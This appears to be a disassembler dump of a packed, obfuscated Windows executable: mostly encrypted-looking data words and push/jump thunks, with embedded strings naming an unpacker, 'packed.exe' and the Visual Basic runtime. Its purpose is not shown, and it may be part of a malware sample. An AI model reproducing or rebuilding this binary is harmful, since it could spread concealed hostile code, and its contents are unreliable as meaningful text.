85CFA91Ch, 0BC3D95FAh, 0AD4BB669h dd 2B79E2AEh, 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h dd 0AB5AD43Eh, 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh dd 0EE264AA0h, 1942B0BCh, 0EC8CDCEDh, 0C776B29Bh, 0D42F64DDh dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 815138C8h, 839B0BABh dd 4DFA0D45h, 63873B82h, 0AE41C505h, 5920918Eh, 990DAA14h dd 189E990h, 9E2D0000h, 2C2736BCh, 98D31AD5h, 0D1D746B1h dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h, 2 dup(0) dd 0E9000000h, 0F87h, 0AE2F5F68h, 1886E906h, 7F68FFFBh dd 0E906AE30h, 0FFFB187Ch, 0AE31F468h, 1872E906h, 0D768FFFBh dd 0E906AE32h, 0FFFB1868h, 0AE33CF68h, 185EE906h, 0CA68FFFBh dd 0E906AE34h, 0FFFB1854h, 0AE358268h, 184AE906h, 0DD68FFFBh dd 0E906AE35h, 0FFFB1840h, 0AE36E768h, 1836E906h, 6468FFFBh dd 0E906AE37h, 0FFFB182Ch, 0AE383E68h, 1822E906h, 0E168FFFBh dd 0E906AE38h, 0FFFB1818h, 0AE397268h, 180EE906h, 0AB68FFFBh dd 0E906AE3Ah, 0FFFB1804h, 0AE3B8768h, 17FAE906h, 0E383FFFBh dd 54067419h, 0D68D01A2h, 4C35892Ah, 0C3BF13B0h, 7DF19439h dd 7E1FE59Dh, 0FAC5208h, 9536C2BBh, 2142B621h, 12BADCE3h dd 5F580FD0h, 0B9D2FFD2h, 104BD94Dh, 1BC4C7E4h, 7346A859h dd 3C5BF9F3h, 0A7215CE5h, 571A1CE8h, 0AB426E9h, 0A7F6DBE6h dd 0FD13BC5Ch, 561E37DBh, 3CC3h, 9D7B8200h, 9ADCEBFh, 0E50C1F9Eh dd 6181BEFCh, 5BF9E258h, 89053A65h, 0FB6B2ADEh, 0F62CA9C9h dd 95F013A7h, 0A636887h, 4E8D2CFEh, 0AA6D0CBAh, 0FD1BF5DAh dd 0E1561E1Ch, 0BBh, 4DB9D24Eh, 0E51F4BD9h, 7C88E331h dd 9B6F18AEh, 0F91AE8FAh, 83F45EA1h, 77605677h, 4DAA1383h dd 0E9C6A1Ch, 0F637C8ABh, 149B68Fh, 6FF3ED20h, 0A15E01C7h dd 6F901392h, 602560Fh, 0A3C063A4h, 84BDFF18h, 0AFA86262h dd 0FAE72FA2h, 0AB9E3658h, 48DBAC0Ch, 15F435E9h, 5EFAE6ECh dd 0CAB903Ch, 0E342DDACh, 6E94CCC2h, 8E2E178Ch, 0A825B73Fh dd 0D1Ch, 8A2BD18Dh, 17B44234h, 9B38C4A3h, 2546BA27h, 0B2D32951h dd 0CFBB630Bh, 44229035h, 30A519BAh, 0B8D3A7C4h, 0D2152F4Ch dd 0FD104B0h, 0E9D85158h, 8C78139Fh, 3BC1B90Dh, 47B3249Ah dd 81E61D26h, 522636F9h, 0E54756D9h, 7A81BEFCh, 50C4EB97h dd 0DB24E70Bh, 0F9337EBBh, 2B84435Bh, 7B359CABh, 88063B9Ah dd 367B2BDFh, 961CE777h, 519110EAh, 0A7F98021h, 0D737789Bh dd 0A7F980BFh, 98E8ABFAh, 8CBFD937h, 0CEAF561Fh, 70000000h dd 0B44DB9D2h, 6F11D849h, 11908D63h, 0F7530F9Dh, 3854B6h dd 2A755EA1h, 0A1009834h, 0EB4AD55Eh, 73B893Bh, 0A2D55EA1h dd 668A956h, 5EA104EEh, 0D4B978ABh, 0AD01F5E6h, 0ED9ECF28h dd 45248519h, 0A44B36BCh, 0D257C733h, 0BF7EA373h, 7452042h dd 0D3145BF9h, 0F90C1BB3h, 0A9DC56A7h, 8968C95Dh, 6B089B06h dd 7C85C720h, 0CB3DB3Bh, 0A7FEA7F9h, 0CCFB1BE4h, 0B1A2A086h dd 0A5DDD16Eh, 0E54D723Bh, 0C6A9B65Eh, 53A9D1A5h, 8D343EF3h dd 1578EA3Fh, 0BFCh, 0AACB31ADh, 3754A2D4h, 0BBD82443h dd 45669AC7h, 0D2F30971h, 2F5B432Bh, 0A4C2B0D5h, 1045395Ah dd 98F3C7E4h, 0F2354F6Ch, 0FCE6490h, 0C9F83158h, 2F4CB6D2h dd 0B7D4205Bh, 29B9D260h, 34A32914h, 748AF0C5h, 0D2603295h dd 73B44DB9h, 0A1E8FB13h, 0A88EEE5Eh, 0E8ADDD5h, 0EC911093h dd 3A5C40A9h, 5EA18F92h, 5CE544DFh, 1CB8DA1Bh, 765EA18Fh dd 0F332F105h, 0A0DFEE30h, 79A85BF9h, 23545AA5h, 23E247D7h dd 0F9C053FFh, 0B24631A7h, 0C93552E0h, 0F9D6BA55h, 0B916BAD0h dd 1F4D3157h, 553D56h, 9F020000h, 748D7713h, 0A1FEFA12h dd 0AD6CB75Eh, 7E83C12Eh, 3375007h, 5DDCEAEFh, 0A0B742A4h dd 0A9F85BFAh, 60A7CBF5h, 7D1DA7F9h, 0B09ABC52h, 2084561Fh dd 0AD000000h, 81BEFCE5h, 0FA07E061h, 0C052CD5Bh, 0F609F21Eh dd 78848A7h, 1F05CFE9h, 7DF56h, 0ED600000h, 827h, 0BEFCE502h dd 0E3936181h, 83225BFBh, 0F307707Eh, 473DB1D2h, 1344F6B9h dd 29D637E7h, 2DB4D66Bh, 86A2AA30h, 0F5A9550Ch, 61C034A7h dd 5816BEA0h, 0C063AC02h, 139FA061h, 0BB0B8A76h, 0A3F350C0h dd 0B5946624h, 41D62DD2h, 5C65D62Bh, 403657D6h, 0CA33E317h dd 91D26F2Dh, 2B0C571h, 3ACEBFACh, 0CB5AC968h, 0E57B748h dd 0ABA95AB6h, 4F319A78h, 4BD926D8h, 0A87CAh, 44BE2600h dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 0CFEF0767h dd 6DAA580Fh, 0FF12BE32h, 9A475EA1h, 39C727D8h, 16A4041Dh dd 2C19B5D5h, 0CD54A7F0h, 2F4CD74Ah, 1AE09816h, 0E3662988h dd 5BBB4406h, 0A2AA30ADh, 62709110h, 0EAD8FD09h, 0F6FC05F1h dd 26B4778Bh, 711C3AA7h, 6D762282h, 4D2CD6B2h, 0A43555EAh dd 9A9584Dh, 72656996h, 0C757986h, 3CFF22F0h, 0DA706B5Fh dd 547C1CB8h, 0A3D559B5h, 8313F255h, 547C3361h, 0BFDFE035h dd 35547C17h, 38EA164Dh, 38FB2AF9h, 530554BDh, 89D4F1A5h dd 0FA911A2Ch, 1F208362h, 0C4722FFh, 7B616D30h, 8210EA96h dd 4BEEBC1Fh, 0A2D955C8h, 8A6DCC5Eh, 6EE85528h, 0D223B1A8h dd 9A4h, 2A35905h, 8F2CDA8Ch, 13B04C3Bh, 9D3EC2BFh, 2A4BB129h dd 5733EB83h, 0CCBA08ADh, 483D9132h, 30AB1FBCh, 5A9DA7C4h dd 0FCC9C38h, 6150D958h, 8E7A139Fh, 9F1A9D1Ch, 830F3072h dd 67981BE5h, 0FBE27907h, 54ED345Bh, 2D5BF313h, 8F16A7F0h dd 8CFFF30Ch, 91CBC778h, 0F3C7A467h, 5FBE6C98h, 2F4FF0B2h dd 0A2AA311Dh, 8A083968h, 0B68141D1h, 45799236h, 9ACDC1E2h dd 56A6CE30h, 0B0F3AC02h, 0C825DD1h, 0BAFFAF5Bh, 0D1937CFBh dd 4A43CE30h, 0D54CA958h, 0C135A62Ch, 49BD2E9Ch, 85872BD5h dd 35D2B554h, 0DEA8CA77h, 0FDB00E99h, 2F0BB886h, 0C649239Ah dd 0BB37C85Bh, 44B827C0h, 0D3F053D6h, 0AB174BB2h, 972B1AA0h dd 0E684DF77h, 0A80B9ABBh, 0D62255E9h, 5A18C144h, 98B745A5h dd 0A7FEBEBCh, 2B6996F7h, 4D4DF416h, 0FF268563h, 0D23AA81Fh dd 6BEA781Ah, 8ACh, 0FA9B611Dh, 8724D284h, 0BA85433h, 9536CAB7h dd 2243B921h, 5F0BF37Bh, 0D4B200A5h, 4035892Ah, 0C8A317B4h dd 22659F3Ch, 0FCD94C0h, 79A8E158h, 0D94DB9D2h, 9A5C506h dd 445EA1FEh, 0FFE85ADDh, 80FB6318h, 54673BE2h, 0A072D5B4h dd 198D7912h, 7727D18Bh, 831B4032h, 0B449DBFEh, 16846724h dd 48612E26h, 102A653Bh, 48F29367h, 5CC7352Eh, 1030h, 0E794EF00h dd 25E2B007h, 0ED7F6E31h, 4BEh, 2AE0D02h, 7D99F9E5h, 385EA1FEh dd 0F5F906E9h, 1A0728Eh, 0A42141BEh, 0F35BF9EAh, 0BB473CB2h dd 7C9846EBh, 39A7F614h, 69B827E6h, 56A0DAD8h, 0E49165C4h dd 76689110h, 0C8C0450Ch, 0B54A08F1h, 0B61CA855h, 89A057Dh dd 1926648Dh, 532EA8F9h, 0E51A8544h, 0DA086D9Eh, 65240BCBh dd 26575B9Ch, 5EE140D2h, 6E0FFBECh, 3B9B6F18h, 0D5DB6ABEh dd 0B185089Ah, 18000007h, 89FD9E64h, 368429DFh, 0A210B549h dd 249A3BC7h, 862546BCh, 0AE540CEEh, 3DC3B90Dh, 47B32A98h dd 0D3275026h, 2D4D92B2h, 580FCA81h, 0D26C43CCh, 4BD94DB9h dd 0BFC0E51Fh, 0FEF01C7Eh, 62BD5EA1h, 0F9BB24A3h, 0E2622648h dd 902F5BFBh, 45BB85F0h, 6AD5F6C9h, 6FD6BC62h, 9E142D8Ch dd 699619EDh, 79867265h, 0DAB54D02h, 9BB2EE05h, 2E2124E9h dd 0DDBE019Eh, 980AFEE9h, 2EE93C47h, 0DBE4085Ah, 7634DD58h dd 0BC7D88C9h, 792F2B74h, 0F3855DDCh, 0C2A2AA89h, 0A7D0DE63h dd 0D6DAE53h, 0AC02C1E1h, 0D1B275ACh, 0AC7E8AFDh, 3A98621Eh dd 3F8045A9h, 0F9A21381h, 50000006h, 0C1B5D62Ch, 4E3C6197h dd 0FAC8ED11h, 7C52738Fh, 3EDDFE04h, 0E61C4436h, 758BF1C5h dd 0FF0B6250h, 0BFFE8DEh, 0F5155A6Ah, 580FCB59h, 0E5A49B14h dd 6181BEFCh, 5BFBE2AFh, 747A871Eh, 0E0D6F703h, 2A9303F7h dd 10728FCDh, 0A2A8208Dh, 36A7079Eh, 0E23F8ACEh, 69E1D70h dd 570F0000h, 0C0BA08ADh, 0BA219536h, 28512546h, 0A7C3B7D4h dd 0D99D385Dh, 2243B921h, 0ABC836ACh, 3152A6D7h, 0BDDE2A5Dh dd 0F61E4087h, 0C3580FCBh, 0B9D25B76h, 104BD94Dh, 6F2136E4h dd 2C5B5720h, 5CDF42D0h, 6E1AFDEEh, 0F6903594h, 5CC712D0h dd 0EDEh, 139F6300h, 971A8874h, 2D49914h, 9F960000h, 0A8D7713h dd 6B3BCFB8h, 2F5405E2h, 95CD43D3h, 9B7ABF6Fh, 0E140BC2Bh dd 0BCDE1F20h, 5EA1FE10h, 9F43C25Dh, 5BFBE3EDh, 0A24D34BAh dd 0C8693DC9h, 0F174B569h, 3907D43h, 0D251D02Dh, 616DAE53h dd 8F128074h, 0F0883B53h, 6C2F76A7h, 34C0BB0Fh, 52A8D066h dd 0AB8D6A31h, 0A0029049h, 8FB013FFh, 0AADC3E6Fh, 1EFC0BA2h dd 0D6164925h, 92E916F9h, 5D0B1F9Ch, 0F60B8AE6h, 0C5258FF8h dd 0AC0262A9h, 0B9DABDE4h, 0B46692C5h, 12807A66h, 5CA8DDD1h dd 0F3B15EDDh, 9B8D2C4Eh, 4FD6A959h, 0D8E9C0EFh, 43B22026h dd 594h, 12B34935h, 9F3CCABCh, 2340BC2Bh, 0ADCE32AFh, 3A5BA1D9h dd 4723DB93h, 3CAA18BDh, 0B82DA1C2h, 205B2F4Ch, 4A8DB7D4h dd 0FC88C28h, 5140C958h, 0D94DB9D2h, 5BE4104Bh, 66882A57h dd 5EA1FECEh, 0F6B9188Bh, 4E411764h, 84930374h, 124C37EFh dd 0A2E38063h, 0EED50161h, 1A05EA1h, 22BED8BEh, 7A05CC7h dd 71000000h, 15DEDh, 0B9D20200h, 7AC8E94Dh, 0AE3CCD23h dd 51727h, 34CEB600h, 0BF492397h, 0CF33A81Eh, 5DA1D8AEh dd 0E41E4A38h, 0AE5024C7h, 0D7ABC832h, 403657A9h, 0CEBCE115h dd 3844699Dh, 0C97F97F7h, 0FD3A580Fh, 4DB9D2C2h, 843049B4h dd 0B6396187h, 84CD6989h, 19885EA1h, 0C5B60496h, 0C9BD4922h dd 1F8F6E92h, 94F63748h, 5EA18478h, 798FF935h, 46BC2496h dd 201AB5C7h, 47BE43B7h, 6EA9923Eh, 8ABF5A0h, 6FCB4020h dd 0CE680D8Ch, 5CC723A8h, 0B14530BEh, 0D958A4DDh, 2520h dd 0EFE41F00h, 4FB12F08h, 6529B688h, 0B3EDB3A2h, 2000000h dd 0ADEDh, 5591EC00h, 338AE2CFh, 5EC135A6h, 0FCE5CCDFh dd 0AF6181BEh, 1E5BFBE3h, 0D9397A87h, 0A7F02CBDh, 74E6A9F8h dd 95AAE811h, 0A8377475h, 4E639A2h, 3F8AD873h, 3D84099Bh dd 0EC000004h, 15690AF0h, 82F09563h, 67419E5h, 0B006A75Bh dd 0EA9132C8h, 1AE09882h, 0A15F0579h, 2BDF8EFCh, 0B743348Ah dd 49A9EE16h, 580FC62Dh, 9FF02F68h, 0FE903C5Eh, 51DD5EA1h dd 0B275D428h, 7788CA37h, 66CEB836h, 0A1FEE804h, 9B7AA55Eh dd 4505C618h, 1C965BFAh, 53A9D69h, 8D2ED289h, 0F64E3C55h dd 0D92D5EA7h, 7699C6B4h, 9C0EF105h, 3CB31h, 0FCE53E00h dd 1E4081BEh, 5EA1FEF6h, 0ED1773C3h, 14768B0Ah, 5BFBE362h dd 0FB42D053h, 43A35C1Eh, 0A2A83786h, 0FB3A980Bh, 5F3F8AD8h dd 39A40CDh, 53330000h, 0C4B604A9h, 463D9132h, 3CA519BAh dd 0B32FA3C0h, 0ED812449h, 0EAF550Dh, 9F3CC2B8h, 2546B22Bh dd 0B1D22651h, 822A4C93h, 0CF580FC6h, 0FCE56F42h, 936181BEh dd 225BFBE3h, 7707E83h, 4AB1D2F3h, 897FFE28h, 6FDF5EE0h dd 0B31A887Ch, 0E7EB1456h, 0CBB707F9h, 71916E31h, 0A2AAC0F0h dd 4DB7D3DFh, 4AD958D9h, 3FA826DBh, 0A3D4AACBh, 9946C757h dd 99C426DBh, 1AA95B0Eh, 0FCFB6BEFh, 6F1A9AFAh, 0ED513093h dd 26D925AEh, 9018C1Eh, 0A0000003h, 0D1A5C63Ch, 5E2C51A7h dd 0CAB8DD21h, 4C42639Fh, 2ECDEE14h, 0D62C5446h, 659BC1B5h dd 0EF1B7240h, 7B8FF8CEh, 85E52A5Ah, 580FC769h, 0D2B4EB24h dd 5BF313B9h, 165EA1FEh, 287E2C8Fh, 192A4BBFh, 8115E395h dd 0FD1A6120h, 696082BFh, 5A5BF9F3h, 9A95BCBh, 0B3A7F61Fh dd 385EB01Fh, 26561EF4h, 2Ch, 0ADFCE50Bh, 0D75AC834h, 6EABCB74h dd 335BF9E2h, 508022F0h, 0EAA7F62Ch, 901E6926h, 208115E9h dd 0E0DFF961h, 0E2CF561Eh, 50000000h, 0D94DB9D2h, 5CE51F4Bh dd 5DD12556h, 8A7C6EDCh, 84169918h, 0FDB14536h, 0ABC83CAFh dd 0A1F945BBh, 0E9094A5Eh, 0A15E054Dh, 0BE259908h, 0CE51D042h dd 42FF0B7Ch, 3BEB174Ch, 2D5637F6h, 6DC137A1h, 8EF94DCCh dd 92C9C57Ah, 0BA7DBC6Eh, 644AD28h, 0FF2C99F9h, 9609A405h dd 0B49B6F5h, 1274B5F6h, 0A7F615FAh, 0A4D032B7h, 0F1A7F615h dd 27FCFAEh, 5CE33FFEh, 11A2AF8Bh, 0CE30718Eh, 0AC0CB7A6h dd 10F1B0F3h, 0C06C8ECFh, 8DAC0CB7h, 47239312h, 5C0E84BDh dd 0F6B9F8AAh, 43B92195h, 8E33C6E3h, 9DF0623Fh, 1D0h, 0DEFF0579h dd 6B08FEE8h, 0F7946817h, 791AE683h, 6A75D05h, 736F0F67h dd 0E896E489h, 54017516h, 0DC8F03A0h, 36798B28h, 0FC4B8D4h dd 85BCF558h, 2F4CB6D2h, 0B7D4205Bh, 0BEFCE560h, 0E2586181h dd 3A655BF9h, 6F1B9768h, 0A4CC1295h, 1EA7F62Ch, 3A52B4F5h dd 77A7F62Ch, 0B41B6D2Ch, 346082C3h, 81A7F62Ch, 0CC3AAC1Eh dd 0E10B2D4Dh, 0A213561Eh, 3C000000h, 0B44DB9D2h, 0ECBE403Eh dd 0CA58CA4Dh, 0CB6649Eh, 5EA1F9B6h, 0B2D32750h, 0CF5FABDCh dd 5EE3A14Eh, 6705E61Dh, 1B45C8B2h, 3B7F4698h, 8D38A405h dd 8887D730h, 0DFFC5F07h, 0D07133DCh, 465DF1B5h, 7235FFE2h dd 0D1716D8Dh, 0E53CA2AFh, 8E2A565Ch, 0CF8C06Ch, 0B3128DACh dd 3EC4BC12h, 8E7C735Ch, 84099B3Fh, 0F4h, 0B2D32955h, 3F5CAADCh dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0FC56C88h, 0B1E02958h dd 2F4CB6D2h, 0B7D4205Bh, 4DB9D260h, 0E4104BD9h, 591BC4C7h dd 0E20746A8h, 0FCF25BFBh, 8C706F8Ah, 79389B1Eh, 55EBBBEAh dd 0C1B5D622h, 0F3097196h, 0EFAED23h, 0DBBA1D9Ch, 413AB84Bh dd 4E2CF2B5h, 38B7E1B5h, 5AE8BA40h, 5747D723h, 8399B01Fh dd 27ABDCF3h, 51D042B6h, 9569068Ah, 0B4778C84h, 0FCA15506h dd 1829DD8Eh, 8416E09Ah, 0EFF06225h, 41B520AEh, 9E7075A1h dd 5EE14097h, 6E1AF5ECh, 0C0A30694h, 2EDAB33Fh, 0E87A3D7Ch dd 5C662927h, 85BEDF2Bh, 17CF5109h, 8E8BA00Ah, 3AC55938h dd 9E62BCD8h, 0C7A6F997h, 7185F644h, 1250BDh, 0E0410000h dd 10BCDE1Fh, 5D5EA1FEh, 0F50970C2h, 2E018021h, 0DA48B2D2h dd 37E71344h, 9200F4E1h, 0A98661Ch, 6436CCB4h, 0C250AAD6h dd 35E9154Ch, 9604F8E7h, 0F2A05600h, 0E7895714h, 2C75BB53h dd 0E3C15288h, 81DBF706h, 234A70EBh, 0D9F38128h, 0C1096121h dd 0C38104E3h, 34F46774h, 835BDF01h, 3C8704EFh, 89525C24h dd 4C281E2h, 83000000h, 148704EAh, 1C895C24h, 4EC8324h dd 68243C89h, 3C83h, 0B9240C89h, 6AE2E51h, 5459CB89h, 83243C8Bh dd 565304C4h, 674D45BEh, 24743161h, 478F5E04h, 8778108h dd 61674D45h, 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 34FF5C24h, 0C4835B24h, 916E904h, 0B696FFFBh, 91143EEAh dd 0EA355C0Eh, 0B81A6F3Bh, 6AE3CA0h, 0E0FFC503h, 67BF7A2Dh dd 62142585h, 5B173890h, 1C96EF06h, 6FD673F8h, 411499B8h dd 0E1DB2D3h, 163E9h, 84FAA400h, 0E705C562h, 5C3A4377h dd 6E755F6Dh, 6B636170h, 70007265h, 656B6361h, 78652E64h dd 65h, 3Ah dup(0) dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h dd 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_5AF4CF ; --------------------------------------------------------------------------- push 6AE409Eh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE41CEh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4303h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE43B2h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE43F1h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE44C1h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4514h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4572h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4C08h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4CA4h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4D58h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4E59h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4EE7h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE4FAEh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE5066h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE5108h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE575Fh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE58A6h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6AE593Eh jmp loc_5517CE ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- retf 783h ; --------------------------------------------------------------------------- db 9Ch dd 0CB74B2F7h, 0FDA6E4ADh, 2D961451h, 7EC5410Ch, 0FBB6D73Bh dd 2F6204AFh, 5D14389Bh, 8EC766C9h, 0CBEAC38h, 0B606160Ch dd 0FF8BB0F6h, 1788155Ch, 5EE93D74h, 67A145FEh, 0B5FFF5F8h dd 74736CEEh, 797DBDCFh, 0EC47B600h, 767FE712h, 0EE331C22h dd 6E286Ch, 5C9E44B6h, 0A75ECA20h, 9E236B0h, 0B4BEAAA8h dd 3E591477h, 23000000h, 46D29FC0h, 0EB5E75Dh, 54FAED8h dd 1A35B600h, 40446ECh, 0FEB60005h, 1317B155h, 0F1B60005h dd 0E971D246h, 0B60004ADh, 0B1C162C9h, 1477F8C5h, 0CC85A708h dd 50E23667h, 0C5h, 3459BAEBh, 0D5782771h, 0ED8E179Ch dd 83A203A0h, 99BC65CAh, 0C0B04AD0h, 0E3AF57DBh, 12BD0940h dd 34F53A73h, 7D8F3B80h, 0B5FFE3EEh, 0F8304AF0h, 0CAB5FFE3h dd 2E093761h, 368D2F98h, 440D2F90h, 806ACEDFh, 0AA85EA46h dd 4B7FD8BCh, 3C8AC768h, 9BFF293h, 0EC80521Bh, 5E05FE3Dh dd 61000019h, 983B8FC6h, 0C768BEFBh, 0F152E8A1h, 2182185Dh dd 72F94D00h, 0FFB2D33Fh, 2B6608ABh, 5910349Fh, 8AC362CDh dd 8B2A83Ch, 0B6061710h, 0FF8FB4F2h, 7223F25Eh, 0D2974353h dd 65A7CDF9h, 0AF585625h, 4B4FF91Fh, 39AF5856h, 9F3251Eh dd 78CE87A6h, 91113192h, 58563377h, 4D2611AFh, 56133FE0h dd 0B1E7D0C9h, 3459BA6Ah, 8AFB2C71h, 0B176A2EBh, 0A102B803h dd 866CCC81h, 9DD47758h, 85A60710h, 87E660C8h, 7DB60005h dd 898D4DD2h, 25B60005h, 0F9D5E54Eh, 341477F8h, 113C7C8Eh dd 2D06B600h, 0CE498Bh, 0FFD20000h, 4BF1155Ch, 57D6F931h dd 0C860CBAFh, 0E4A9CA5Bh, 0C305A3BFh, 0AF57D6C7h, 0C00692BDh dd 0AF57DB10h, 6DB9F093h, 45EAA3C2h, 3FEB50C4h, 400D2E91h dd 0E2CB1EE8h, 9EB9B5FFh, 6201E208h, 9A3A8D2Bh, 315F8521h dd 0FFE39397h, 0CC671B5h, 23350645h, 0E066B260h, 0BCAB2B3Fh dd 5F9EBE21h, 409A733Eh, 0BDAF93AFh, 32DC5C01h, 1947ED19h dd 0AAEBABEFh, 7ABE99BCh, 4DD994B5h, 0DC0C41E2h, 0EC7FEC62h dd 2EC04162h, 31000018h, 68CB5F16h, 97388ECBh, 0C162B8F1h dd 0F152E8ADh, 2891D50h, 0CF82A36Fh, 0FBB6D87Bh, 296004AFh dd 5A13329Dh, 788258CCh, 0B6061840h, 0FF5FC402h, 0CF7135Eh dd 0DF72168h, 7CCA83A2h, 460F2D96h, 4368C0D9h, 88155CFFh dd 0E93D7417h, 0A145FE5Eh, 0D6C9C17Bh, 90BBAF57h, 6DA8D218h dd 57B5FFE6h, 6FB7B7FCh, 0BB5FFE6h, 7F3FFA0h, 0CE1477DDh dd 0EE2266A0h, 82C4B5FFh, 0B5FFEE86h, 3813D37Ch, 0EF42F0h dd 0FE240000h, 0FFEE4C4Ch, 9B1D36B5h, 3959BA90h, 0A4852474h dd 4BEAD97Bh, 78A5E88Ah, 0B0E9362Fh, 729923C7h, 50B5FFEDh dd 9089C3E7h, 0CD84A7F3h, 0EABF3760h, 872F89A1h, 9AF31741h dd 7A20948Ah, 8641BC11h, 8E3C1544h, 0E0480525h, 0B859C07Ah dd 0E10F9143h, 0B80901BBh, 50FB9143h, 43B872B6h, 0CE6F5091h dd 140D1E83h, 54D990B3h, 2BD543h, 3A5C47A3h, 36662177h dd 582F598Dh, 0E97EF21h, 204184A5h, 0FE2F746Dh, 0FBB94BAh dd 0F05CFEE1h, 62299C29h, 9B18F182h, 4E072182h, 6F2645EAh dd 9CD578DBh, 3B6CDC6Ch, 3E872411h, 16F9h, 96145DFCh, 0C145002Dh dd 37733A5Eh, 67A3E68Ch, 50D69BBCh, 0CB6CA6CBh, 0FF9F0086h dd 0A9CB74B2h, 5AF95AE0h, 0D5179713h, 61A77B3h, 200F4DB6h dd 88155CFFh, 0F016AD0Fh, 0FFE64F56h, 8C1A35B5h, 0FF2001A7h dd 0CC16E5Dh, 0AFF8256Ch, 9F29DDB6h, 0B5FFED6Ch, 98D57556h dd 7DBDCF1Bh, 47B5FFEDh, 0AE1AF3ECh, 28E81218h, 902B893Dh dd 0F769D06Ah, 0F05B43D0h, 794AEAB3h, 3A790D5h, 7C602EF9h dd 8F3B144Ah, 92480124h, 0D55A1331h, 0EE54C4h, 0BD5FBDF6h dd 6ADB4B3Ch, 11A87CEh, 0A4650897h, 34D4CD84h, 5EAE361Eh dd 4ACCB576h, 4D000016h, 7C27632Ah, 0AB1492D7h, 0DD46C48Dh dd 0DB6F4B1h, 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh, 3D7418BBh dd 6E2746E9h, 6C9E4CD8h, 0B6061A2Ch, 0FF6BD016h, 59F3155Ch dd 0BFF9D300h, 160B837Ch, 6B0E0000h, 163BE422h, 0CC6CD753h dd 0F09E0185h, 0ADCE71B5h, 9CDD5AE0h, 298D576h, 7ECC81A1h dd 0A8FEB7D5h, 992D6407h, 6DADDF0Dh, 57B6061Ah, 1CBA2A11h dd 57D6AEEAh, 7DBB94AFh, 55DA93B2h, 2FDB60D4h, 0FFEC269Dh dd 0F7331CB5h, 6159E309h, 23B5FFECh, 2F01A008h, 0D1F54EEEh dd 0A80244B7h, 0B3153EBCh, 50BA6315h, 4FF45859h, 0C9BA619Bh dd 27885FF8h, 0B2EB4801h, 0E4AB2DD9h, 461D9224h, 0E8F7CBCh dd 57F115AEh, 66A410C0h, 3DC74882h, 7DB866B7h, 1E0F94D1h dd 359E4C25h, 21AB5F16h, 1AA5BACh, 3C7518A1h, 5CCDA6F7h dd 5C267237h, 0F09150F3h, 0FBC670BDh, 31FE7BF0h, 0D62AA49Dh dd 0D1C58438h, 0A94D7B54h, 2B4286BCh, 153B3788h, 1B3E0000h dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh dd 7B6061Bh, 62A65AC1h, 18AF57D7h, 0AF57E71Ch, 57F6D6DEh dd 0F79094AFh, 7013AF57h, 0E1518F39h, 0BC7FF9D2h, 14E8C3h dd 54CEB00h, 34711E81h, 622B4DF6h, 92D77B24h, 0C78AAB14h dd 5DB5C443h, 8A35713Ch, 0BE61A5E8h, 0F053D79Eh, 2686044Dh dd 1C8682C4h, 3E7CB606h, 0EB5E711h, 0C38B2D8h, 88804A89h dd 0B84F991Fh, 8AB60071h, 88E3CA40h, 506B9EEBh, 8D380EB0h dd 0D3F5EEC7h, 0F32A7917h, 8A897AB9h, 8D000014h, 0BC67A3EAh dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch, 1B56F71Bh dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h, 0B6061BECh dd 0BAAB90D6h, 2E733A59h, 51F4BBFDh, 6B0A9B18h, 0EECDFD22h dd 0D5F17B45h, 0AB7785BEh, 2A069206h, 0CD12DFB9h, 1Ch dd 0D75EA656h, 9F00AF57h, 0BE61B7F2h, 0B650D69Fh, 0AFB35CEDh dd 1A10F13Eh, 2B000014h, 0DAF45CFFh, 84C6989Ah, 1317B155h dd 0F1AF5869h, 47C06D46h, 0EB86ED5h, 0B600884Bh, 7E81E39h dd 0CF8AA76Ah, 0D3504962h, 8F783D52h, 0B418A329h, 0B6AFEA87h dd 0C38EAF10h, 